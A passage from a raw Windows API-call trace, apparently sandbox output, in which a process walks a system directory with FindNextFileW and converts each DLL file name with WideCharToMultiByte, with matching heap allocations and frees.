| out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.823] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.824] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.825] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.825] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.825] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.825] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.825] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.826] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x1d3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.826] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x1d3c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.826] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.826] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x1d3c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0040.826] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.826] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.827] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x1d3c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.827] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1d3c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.827] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d3c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0040.827] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.827] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.828] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x1d3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.828] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x1d3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0040.828] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.828] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.828] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: 